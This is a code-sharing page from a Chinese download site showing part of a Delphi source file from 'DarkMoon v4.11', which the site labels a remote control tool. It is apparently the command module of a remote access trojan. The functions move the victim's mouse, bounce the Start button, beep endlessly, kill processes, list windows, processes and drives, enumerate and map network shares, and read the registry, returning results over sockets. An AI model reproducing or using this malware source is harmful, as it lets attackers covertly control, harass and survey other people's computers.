⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dmucommandsandutils.pas

📁 DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.
💻 PAS
📖 第 1 页 / 共 5 页
字号:
          Randomize;
          SetCursorPos( 800 - 15, 600 - 15 );
          SetCursorPos( Random( 800 ), Random( 600 ) );
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function MouseLocos : String;
var id: cardinal;
begin
     if not MouseLoco then
     begin
          Result := '&0&';
          MouseLoco := TRUE;
          BeginThread(nil, 0, @CambiarPosicionmouse, nil, 0, id);
     end
     else
         begin
              Result := '&1&';
              MouseLoco := FALSE;
         end;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure MoverBoton ;
begin
     while Rebota do
     begin
          if grave < -20  then grave := 20;
          Inc( r.Left , Grave );
          MoveWindow( h , r.Left , 0 , 80 , 26 , TRUE );
          Dec( Grave );
          Sleep( 100 );
     end;
end;
    ///////////////////////////////////////////////////////////////////////////////
function RebotaInicio : String;
var id: cardinal;
begin
     Grave := 20;
     h     := FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) ;
     GetWindowRect( h , r );
     MoveWindow( h , 0 , 0 , 80 , 26 , TRUE );
     Rebota := not Rebota;
     if Rebota then
     begin
          BeginThread(nil, 0, @MoverBoton, nil, 0, id );
          Result := '&0&';
     end
     else
         begin
              Result := '&1&';
         end;
end;

    ///////////////////////////////////////////////////////////////////////////////

function EjecutarScreenSaver( WHandle : Thandle ) : String;
begin
     try SendMessage( WHandle, $0112 , SC_SCREENSAVE, 0 ); except end;
     Result := 'Screensaver actived';
end;
  ///////////////////////////////////////////////////////////////////////////////
function MinAll : String ;
begin
     keybd_event(VK_LWIN,0,0,0);
     keybd_event(77,0,0,0);
     keybd_event(VK_LWIN,0,KEYEVENTF_KEYUP,0);
     Result :=  'All windows were minimised';
end;

function CambiarCaption( Parametro : String ) : String;
begin
     try SetWindowText( GetActiveWindow, PChar( Parametro ) ); except end;
     Result := 'Tittle changed';
end;
 ///////////////////////////////////////////////////////////////////////////////
function DesplegarInicio( WHandle : Thandle) : String;
begin
     SendMessage( wHandle, $0112, SC_TASKLIST, 0 );
     Result := '&0&';
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure ThreadParlantito;
begin
     while Parlante do
     begin
          MessageBeep( 3542 );
          Sleep( 10 );
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function SonarParlantito: String;
var id: cardinal;
begin
     if Parlante then
     begin
          Parlante := False;
          Result   := 'Beeps disabled';
     end
     else
          begin
               Parlante := True;
               Result   := 'Beeps enabled!';
               BeginThread(nil, 0, @ThreadParlantito, nil, 0, id );
          end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function KillProcess( Parametro : String): String;
var h : THandle;
begin
     Result := 'The Process: ' +  Parametro +  ' was not terminated!';
     PostMessage(strtoint(Parametro),$0010,0,0);

    try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
      if TerminateProcess( h, 0 ) then
      Result := 'The Process: '   +  Parametro + ' was terminated';
     except
   end;
end;
 ///////////////////////////////////////////////////////////////////////////////


    Function TotalAPP(HWND : Thandle; Param : Integer): BOOL; stdcall;
    var
    caption: array [0..256] of Char;
       j : INTEGER;
    begin


   if GetWindowText  (HWND, Caption, SizeOf(Caption)-1) <> 0 then
  begin
           if  IsWindowVisible(HWND) then
        begin

     WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
            end
            else
            begin

               WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
            end;
    end;
      end  ;

  ///////////////////////////////////////////////////////////////////////////////
function ListWindows : string;
begin
      WindowsLISTtmp:='';
   EnumWindows(@TotalAPP,0);
   result:='$'  +   WindowsLISTtmp  ;
end;

  ///////////////////////////////////////////////////////////////////////////////
 function EnumWindowsProc1 (Wnd: HWND): BOOL; stdcall;
var
  caption: array [0..256] of Char;
begin
  Result := True;
  if GetWindowText  (Wnd, Caption, SizeOf(Caption)-1) <> 0 then
  begin
   if  IsWindowVisible(wnd) then
        begin
         ProcessTmp:=ProcessTmp + #13#10 + inttostr(wnd) + '  ' +  caption;
        end;

  end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function Procces(): string;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      handles : integer;
begin
            ProcessTmp:='';
     EnumWindows(@TotalAPP,0);

      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin

          ProcessTmp:=ProcessTmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
           ProcessTmp:=ProcessTmp + '~' + IntToStr( Proceso.th32ProcessID ) + '-'  +  Proceso.szExeFile;
           until not Next;
      end;
      CloseHandle( SHandle );

      Result :=ProcessTmp
      end;
 ///////////////////////////////////////////////////////////////////////////////
function CloseProcces(Exefile: string): string;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      Tmp :string    ;
begin
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
                  if   LowerCase( Proceso.szExeFile)=LowerCase(Exefile)    then begin

                  KillProcess ( IntToStr( Proceso.th32ProcessID ) );
                // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
                       end;

           until not Next;
      end;
      CloseHandle( SHandle );

      Result :=''
      end;
  ///////////////////////////////////////////////////////////////////////////////
function ProcessExists (Exefile: string): Boolean;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      Tmp :string    ;
      Tmp2 :string    ;
      files : integer;
begin
result:=false;
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
                 Tmp2:= Proceso.szExeFile;

                 fileS:= length(Tmp2);
           if   copy(LowerCase(Proceso.szExeFile),fileS+1-length(Exefile), length(Exefile)) =LowerCase(Exefile)    then begin

            result:=true;

                       end;

           until not Next;
      end;
      CloseHandle( SHandle );
      end;
 ///////////////////////////////////////////////////////////////////////////////
function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
type Buffer = Array [ 1..50 ] of Char;
var nombre,serie,fsystem : buffer;
    tamNombre, longMax, flags, tamFS:cardinal;
    anombre, s:string;
    letra:char;
    error:boolean;
    Data : string;
begin
     letra := 'c';
     s     := '';
     repeat
           tamNombre := sizeOf( nombre ) + 1;
           tamFS     := sizeOf( fsystem ) + 1;
           error     := not GetVolumeInformation( LPCTSTR( letra + ':\' ),
                                           @nombre,
                                           tamNombre,
                                           @serie,
                                           longMax,
                                           flags,
                                           @fsystem,
                                           tamFS );
           if not error then
           begin
                anombre := textoValido( nombre );
                if anombre = '' then
                   anombre := 'Local Disk';
                  sleep (10);

            Data:= Data + uppercase( letra ) +  ':'  + '-' +  textoValido( fsystem ) +  '*' ;
           end;
           letra:= Chr( Ord( letra ) + 1 );
     until letra = 'z';
    result:= Data       ;
end;
  ///////////////////////////////////////////////////////////////////////////////

//Muetra informacion de RED (Conexiones Locales, Grupos de trabajo)
function NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
var   lpocal: TNetResource;
      pas1, pas2, pas3 : PChar;
      pas4 : Integer;
      pas5 : Byte;
      DataRet: String;
      Recursos : String;

function EnumerateFunc(HWND:THandle; lpnr: TNetResource; device: PChar; Unidad: PChar; Pasw: PChar; Flg: Integer; Tipo: Byte):boolean;
var  dwResult, dwResultEnum : DWORD;
     henum:THandle;
     cEntries:DWORD;
     lpnrLocal: Array [0..40] of TNetResource;
     cbBuffer:DWORD;
     i:integer;
begin
     cEntries := $FFFFFFFF;
     cbBuffer:=SizeOf(lpnrLocal);

     if lpnr.dwScope = 3000 then
     begin
          dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,nil,henum);
          lpnr.dwScope := 0;
     end
     else
         dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,@lpnr,henum);

     if (dwResult <> NO_ERROR) then
     begin
          Result:=False;
          exit;
     end;
     dwResultEnum := 0;
     while(dwResultEnum <> ERROR_NO_MORE_ITEMS) do
     begin
          dwResultEnum := WNetEnumResource(hEnum, cEntries, @lpnrLocal, cbBuffer);
          if (dwResultEnum = NO_ERROR) then
          begin
               for i:= 0 to cEntries - 1 do
               begin
                    if(RESOURCEUSAGE_CONTAINER = (lpnrLocal[i].dwUsage and RESOURCEUSAGE_CONTAINER)) then
                    begin
                         if (lpnrLocal[ i ].lpProvider <> '') and (lpnrLocal[ i ].lpRemoteName = '') then
                             Dataret := Dataret + ' ' + lpnrLocal[ i ].lpProvider + ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
                         Dataret := Dataret + ' ' + lpnrLocal[ i ].lpRemoteName +  ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
                         if (lpnrLocal[ i ].lpRemoteName = string(device)) and (Tipo = 0) then
                         begin
                             lpnrLocal[ i ].lpLocalName := Unidad;
                             WNetAddConnection2(lpnrLocal[i], Pasw, Unidad, Flg);
                         end;
                         if(not EnumerateFunc(hwnd, lpnrLocal[i], device, Unidad, Pasw, Flg, Tipo)) then
                         else
                         begin
                              if (dwResultEnum <> ERROR_NO_MORE_ITEMS) then
                              begin
                                 //exit;
                              end;
                    end;
               end
               else
                   begin   //Si no es un contenedor de otros recursos
                           //Conecta el dispositivo remoto a una unidad local, eso creo YO!!
                        if (lpnrLocal[i].lpRemoteName = string(device)) and (Tipo = 1) then
                        begin
                             lpnrLocal[i].lpLocalName := Unidad;
                             WNetAddConnection2(lpnrLocal[i], Pasw, nil, Flg);
                        end;
                        if lpnrLocal[ i ].lpRemoteName <> '' then
                           Dataret := Dataret + '          ' + lpnrLocal[i].lpRemoteName {+ '(+)' +
                                      IntToStr(lpnrLocal[i].dwType) }+ '(' + lpnrLocal[i].lpComment + ')' + #13#10;
                        Recursos := Recursos +  lpnrLocal[i].lpRemoteName + '|';
                   end;
       end;
      end;
    end;
    {dwResult :=} WNetCloseEnum(hEnum);
    Result:=true;
end;
 ///////////////////////////////////////////////////////////////////////////////
begin

     FillChar( lpocal, SizeOf( lpocal ), 0 );
     lpocal.dwScope := 3000;
     EnumerateFunc( 0, lpocal, pas1, pas2, pas3, pas4, pas5 );
    
     Result := Recursos;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Leer( algo : DWORD; Key, Clave : String) : String;
var Tipo_Dato, Len_Dato : Cardinal;
    Buffer : String;
    handle : HKEY;
begin
    RegOpenKeyEx( algo,
                  PChar( Key ),
                  0,
                  KEY_ALL_ACCESS,
                  handle );

    Tipo_Dato := REG_NONE;
    RegQueryValueEx( handle,
                     PChar( Clave ),
                     nil,
                     @Tipo_Dato,
                     nil,
                     @Len_Dato );

    SetString(Buffer, nil, Len_Dato);
    RegQueryValueEx( Handle,
                     PChar( Clave ),
                     nil,
                     @Tipo_Dato,
                     PByte(PChar(Buffer)),
                     @Len_Dato );
    RegCloseKey( handle );
    Result := PChar( Buffer );
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure Lan_Info( udp: Tsocket; cli:TsockAddr; tcp:integer );
begin
     //Contestar( UDP, Cli ,' ',tcp );
   //  Contestar( UDP, Cli ,'Host: ' + NombreHost ,tcp);
     //Contestar( UDP, Cli ,'LAN info', tcp );
   //  Contestar( UDP, Cli ,'IPs:  ' + GetLocalIps, tcp );
     NetInfo( UDP, Cli,tcp );

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -